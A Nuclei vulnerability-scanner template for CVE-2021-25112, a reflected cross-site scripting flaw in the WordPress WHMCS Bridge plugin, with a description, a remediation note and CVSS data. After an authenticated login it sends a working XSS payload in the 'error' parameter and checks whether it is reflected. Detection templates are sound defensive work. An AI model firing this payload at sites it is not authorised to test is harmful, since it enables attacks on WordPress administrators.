id: CVE-2021-25112

info:
  name: WordPress WHMCS Bridge <6.4b - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: |
    WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.
  remediation: |
    Update WordPress WHMCS Bridge to version 6.4b or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
    - https://plugins.trac.wordpress.org/changeset/2659751
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25112
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25112
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41043
    cpe: cpe:2.3:a:i-plugins:whmcs_bridge:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: i-plugins
    product: whmcs_bridge
    framework: wordpress
  tags: whmcs,xss,wpscan,wordpress,wp-plugin,wp,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<strong><img src onerror=alert(document.domain)></strong>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100bbc05cb05167d4a069bf6dee91dcde1958d53287cb9fd91fcd03316be8882d23022100b675a3d452b7eb7fe2430d0902263b74c39d1cde3411dbe836c22e6a33cf287d:922c64590222798bb761d5b6d8e72950